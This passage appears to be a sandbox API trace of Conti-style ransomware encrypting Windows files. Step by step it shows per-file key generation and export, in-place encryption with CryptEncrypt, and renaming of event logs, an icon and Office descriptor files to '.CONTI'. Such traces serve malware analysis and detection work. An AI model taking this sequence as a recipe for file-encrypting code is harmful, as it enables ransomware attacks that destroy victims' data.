	[0094.191] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico")) returned 0x80
	[0094.191] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.191] GetLastError () returned 0x0
	[0094.191] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=894) returned 1
	[0094.191] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x37e
	[0094.191] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.192] SetEndOfFile (hFile=0x34c) returned 1
	[0094.192] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.192] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.192] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0094.197] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.197] ReadFile (in: hFile=0x34c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x37e, lpOverlapped=0x0) returned 1
	[0094.197] CryptEncrypt (in: hKey=0x175e4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x37e, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x380) returned 1
	[0094.197] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.197] WriteFile (in: hFile=0x34c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x380, lpOverlapped=0x0) returned 1
	[0094.198] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.198] WriteFile (in: hFile=0x34c, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0094.198] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.198] CloseHandle (hObject=0x34c) returned 1
	[0094.198] GetProcessHeap () returned 0x1720000
	[0094.198] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.199] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico"
	[0094.199] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.CONTI"
	[0094.199] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico.conti")) returned 1
	[0094.200] GetProcessHeap () returned 0x1720000
	[0094.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.200] CryptDestroyKey (hKey=0x175e4f0) returned 1
	[0094.200] GetProcessHeap () returned 0x1720000
	[0094.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3fb0 | out: hHeap=0x1720000) returned 1
	[0094.200] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0095.266] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17c4eb8 | out: phKey=0x17c4eb8*=0x17c81f0) returned 1
	[0095.266] CryptExportKey (in: hKey=0x17c81f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c4ebc, pdwDataLen=0x46fff1c | out: pbData=0x17c4ebc*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0095.285] GetFileAttributesW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20
	[0097.035] CreateFileW (lpFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.035] GetLastError () returned 0x0
	[0097.035] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=69632) returned 1
	[0097.035] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.035] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.035] SetEndOfFile (hFile=0x35c) returned 1
	[0097.035] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.035] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.035] WriteFile (in: hFile=0x35c, lpBuffer=0x17c4ebc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17c4ebc*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.037] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.037] ReadFile (in: hFile=0x35c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x11000, lpOverlapped=0x0) returned 1
	[0097.038] CryptEncrypt (in: hKey=0x17c81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x11000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x11010) returned 1
	[0097.038] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.038] WriteFile (in: hFile=0x35c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x11010, lpOverlapped=0x0) returned 1
	[0097.038] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.038] WriteFile (in: hFile=0x35c, lpBuffer=0x17c4eb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17c4eb0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0097.038] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.038] CloseHandle (hObject=0x35c) returned 1
	[0097.040] GetProcessHeap () returned 0x1720000
	[0097.040] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.040] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\HardwareEvents.evtx" | out: lpString1="C:\\Logs\\HardwareEvents.evtx") returned="C:\\Logs\\HardwareEvents.evtx"
	[0097.040] lstrcatW (in: lpString1="C:\\Logs\\HardwareEvents.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\HardwareEvents.evtx.CONTI") returned="C:\\Logs\\HardwareEvents.evtx.CONTI"
	[0097.040] MoveFileW (lpExistingFileName="C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), lpNewFileName="C:\\Logs\\HardwareEvents.evtx.CONTI" (normalized: "c:\\logs\\hardwareevents.evtx.conti")) returned 1
	[0097.041] GetProcessHeap () returned 0x1720000
	[0097.041] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.041] CryptDestroyKey (hKey=0x17c81f0) returned 1
	[0097.041] GetProcessHeap () returned 0x1720000
	[0097.041] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e730 | out: hHeap=0x1720000) returned 1
	[0097.041] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0097.556] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17e6488 | out: phKey=0x17e6488*=0x17c7eb0) returned 1
	[0097.556] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e648c, pdwDataLen=0x46fff1c | out: pbData=0x17e648c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0097.560] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20
	[0097.560] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.560] GetLastError () returned 0x0
	[0097.560] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=69632) returned 1
	[0097.560] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.560] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.561] SetEndOfFile (hFile=0x35c) returned 1
	[0097.561] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.561] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.561] WriteFile (in: hFile=0x35c, lpBuffer=0x17e648c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17e648c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.562] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.562] ReadFile (in: hFile=0x35c, lpBuffer=0xc610000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x11000, lpOverlapped=0x0) returned 1
	[0097.563] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x11000, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x11010) returned 1
	[0097.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.563] WriteFile (in: hFile=0x35c, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x11010, lpOverlapped=0x0) returned 1
	[0097.564] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.564] WriteFile (in: hFile=0x35c, lpBuffer=0x17e6480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17e6480*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0097.564] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.564] CloseHandle (hObject=0x35c) returned 1
	[0097.565] GetProcessHeap () returned 0x1720000
	[0097.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.565] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx"
	[0097.565] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.CONTI"
	[0097.566] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.conti")) returned 1
	[0097.566] GetProcessHeap () returned 0x1720000
	[0097.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.566] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0097.566] GetProcessHeap () returned 0x1720000
	[0097.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0c50 | out: hHeap=0x1720000) returned 1
	[0097.566] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0098.630] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17e7b58 | out: phKey=0x17e7b58*=0x17c84f0) returned 1
	[0098.630] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e7b5c, pdwDataLen=0x46fff1c | out: pbData=0x17e7b5c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0098.631] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0098.633] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0098.633] GetLastError () returned 0x0
	[0098.633] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=22095) returned 1
	[0098.633] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x564f
	[0098.633] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.633] SetEndOfFile (hFile=0x3b0) returned 1
	[0098.633] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.633] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.633] WriteFile (in: hFile=0x3b0, lpBuffer=0x17e7b5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17e7b5c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.639] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.639] ReadFile (in: hFile=0x3b0, lpBuffer=0xc610000, nNumberOfBytesToRead=0x564f, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x564f, lpOverlapped=0x0) returned 1
	[0098.673] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x564f, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x5650) returned 1
	[0098.673] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.673] WriteFile (in: hFile=0x3b0, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x5650, lpOverlapped=0x0) returned 1
	[0098.673] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.673] WriteFile (in: hFile=0x3b0, lpBuffer=0x17e7b50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17e7b50*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0098.673] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.673] CloseHandle (hObject=0x3b0) returned 1
	[0098.674] GetProcessHeap () returned 0x1720000
	[0098.674] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.674] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.674] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.CONTI"
	[0098.674] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml.conti")) returned 1
	[0098.686] GetProcessHeap () returned 0x1720000
	[0098.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.686] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0098.686] GetProcessHeap () returned 0x1720000
	[0098.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0098.686] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0099.463] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d3b18 | out: phKey=0x17d3b18*=0x17c7d30) returned 1
	[0099.463] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3b1c, pdwDataLen=0x46fff1c | out: pbData=0x17d3b1c*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0099.464] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20
	[0099.464] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc
	[0099.465] GetLastError () returned 0x0
	[0099.465] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=23532) returned 1
	[0099.465] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x5bec
	[0099.465] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.465] SetEndOfFile (hFile=0x3bc) returned 1
	[0101.775] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0101.775] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.775] WriteFile (in: hFile=0x3bc, lpBuffer=0x17d3b1c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d3b1c*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0102.630] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.630] ReadFile (in: hFile=0x3bc, lpBuffer=0xc610000, nNumberOfBytesToRead=0x5bec, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x5bec, lpOverlapped=0x0) returned 1
	[0102.631] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x5bec, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x5bf0) returned 1
	[0102.631] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.631] WriteFile (in: hFile=0x3bc, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x5bf0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x5bf0, lpOverlapped=0x0) returned 1
	[0102.631] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
